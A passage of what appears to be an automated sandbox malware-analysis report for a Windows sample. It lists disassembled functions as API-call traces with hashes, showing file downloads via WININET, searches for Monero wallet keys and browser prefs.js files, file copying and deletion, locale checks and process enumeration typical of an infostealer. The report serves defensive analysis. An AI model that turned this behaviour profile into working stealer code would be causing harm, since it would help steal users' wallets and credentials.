Part of subcall function 00AF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AF4849

InternetOpenA.WININET(00B10DF7,00000001,00000000,00000000,00000000), ref: 00AF610F
StrCmpCA.SHLWAPI(?,0076ED48), ref: 00AF6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00AF618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00AF61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00AF61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00AF620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00AF6249
InternetCloseHandle.WININET(?), ref: 00AF6253
InternetCloseHandle.WININET(00000000), ref: 00AF6260

Strings

Hv, xrefs: 00AF6139

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: Hv
API String ID: 2507841554-112330794
Opcode ID: fb0d788f24514a307dd26f7a3003d004eeeaa21103202e0289ae7a6bed55c23c
Instruction ID: 9eeb897f49c6258203b949d14332194cd60c31afb61797608ace7e815f4199b0
Opcode Fuzzy Hash: fb0d788f24514a307dd26f7a3003d004eeeaa21103202e0289ae7a6bed55c23c
Instruction Fuzzy Hash: BB513FB1A0031CABDB20DF94DC49BEE77B8EB44701F108598B705A72C1DB75AA85CFA5

Function 00AFF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B115B8,00B10D96), ref: 00AFF71E
StrCmpCA.SHLWAPI(?,00B115BC), ref: 00AFF76F
StrCmpCA.SHLWAPI(?,00B115C0), ref: 00AFF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00AFFAB1
FindClose.KERNEL32(000000FF), ref: 00AFFAC3

Strings

prefs.js, xrefs: 00AFF812

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: f2a8f03e1b13c0a203e8314490c478d95e1229bd986722ab0c01db8c88c03bd2
Instruction ID: e3f52268f0e73c80291a20304bd3445d2bfa50b8ea88e9d1eda2f5745ba178c0
Opcode Fuzzy Hash: f2a8f03e1b13c0a203e8314490c478d95e1229bd986722ab0c01db8c88c03bd2
Instruction Fuzzy Hash: 35B111719003089BDB24FF64DD95FEE77B9AF94300F4085E8A50A961D1EF319B49CB92

Function 00AF16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B1510C,?,?,?,00B151B4,?,?,00000000,?,00000000), ref: 00AF1923
StrCmpCA.SHLWAPI(?,00B1525C), ref: 00AF1973
StrCmpCA.SHLWAPI(?,00B15304), ref: 00AF1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AF1D40
DeleteFileA.KERNEL32(00000000), ref: 00AF1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00AF1E20
FindClose.KERNEL32(000000FF), ref: 00AF1E32

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Strings

\*.*, xrefs: 00AF17F1

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: ebd3c42c2c0cc66ef590a6a778b3dd1e9ff3400a82bdd896b275515120f9cbf2
Instruction ID: b371c142efd5210aa1c8e52002be18a4af91b4eb68216638ef4e7aaf4c2fd72d
Opcode Fuzzy Hash: ebd3c42c2c0cc66ef590a6a778b3dd1e9ff3400a82bdd896b275515120f9cbf2
Instruction Fuzzy Hash: 1912DC719103189ADB59FB60DC96EEE77B8AF54300F4089D9B50A620D1EF706F89CFA1

Function 00AFDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B114B0,00B10C2A), ref: 00AFDAEB
StrCmpCA.SHLWAPI(?,00B114B4), ref: 00AFDB33
StrCmpCA.SHLWAPI(?,00B114B8), ref: 00AFDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00AFDDCC
FindClose.KERNEL32(000000FF), ref: 00AFDDDE

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 5bddcd89232a37f3f23c4126a63d288fd0b2e8d9607f647e9402fc031d95d880
Instruction ID: e1b232459619a5e4c837eed26329763f228070e6e6a27b71898c2f6670243b9b
Opcode Fuzzy Hash: 5bddcd89232a37f3f23c4126a63d288fd0b2e8d9607f647e9402fc031d95d880
Instruction Fuzzy Hash: 11913572A0030897CB14FBB4DD56EFD77BDAB94300F408A98F946961D1EE349B49CB92

Function 00B07B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

GetKeyboardLayoutList.USER32(00000000,00000000,00B105AF), ref: 00B07BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00B07BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00B07C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00B07C62
LocalFree.KERNEL32(00000000), ref: 00B07D22

Strings

/ , xrefs: 00B07C7F

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a332e54496d375f670d3e93069bab158e44db25897119f7fe7087e4e61e4e5ec
Instruction ID: 7b0d6eef04113d08b829c9d1006c996b9ec1aa95deb80d19a4649f33e2112836
Opcode Fuzzy Hash: a332e54496d375f670d3e93069bab158e44db25897119f7fe7087e4e61e4e5ec
Instruction Fuzzy Hash: A2416C71950218ABDB24DB94DC89BEEBBB8FF54700F2045D9E009A22D0DB346F85CFA1

Function 00AFE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00B10D73), ref: 00AFE4A2
StrCmpCA.SHLWAPI(?,00B114F8), ref: 00AFE4F2
StrCmpCA.SHLWAPI(?,00B114FC), ref: 00AFE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00AFEBDF

Strings

\*.*, xrefs: 00AFE44D

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: d5a1e4ac88eff979a336746154ba2be0e0fc279e1a40c4277cecedaf8255ca6f
Instruction ID: 9e74a7a4ae78d9c29d29d220dc4ca9219ed5d38ccec8e862dfce1182dd9ffd5d
Opcode Fuzzy Hash: d5a1e4ac88eff979a336746154ba2be0e0fc279e1a40c4277cecedaf8255ca6f
Instruction Fuzzy Hash: F9124871A103189ADB14FB60DD96EED77B9AF54300F4089E8B50AA61D1EF309F49CF92

Function 00B09600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B0961E
Process32First.KERNEL32(00B10ACA,00000128), ref: 00B09632
Process32Next.KERNEL32(00B10ACA,00000128), ref: 00B09647
StrCmpCA.SHLWAPI(?,00000000), ref: 00B0965C
CloseHandle.KERNEL32(00B10ACA), ref: 00B0967A

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
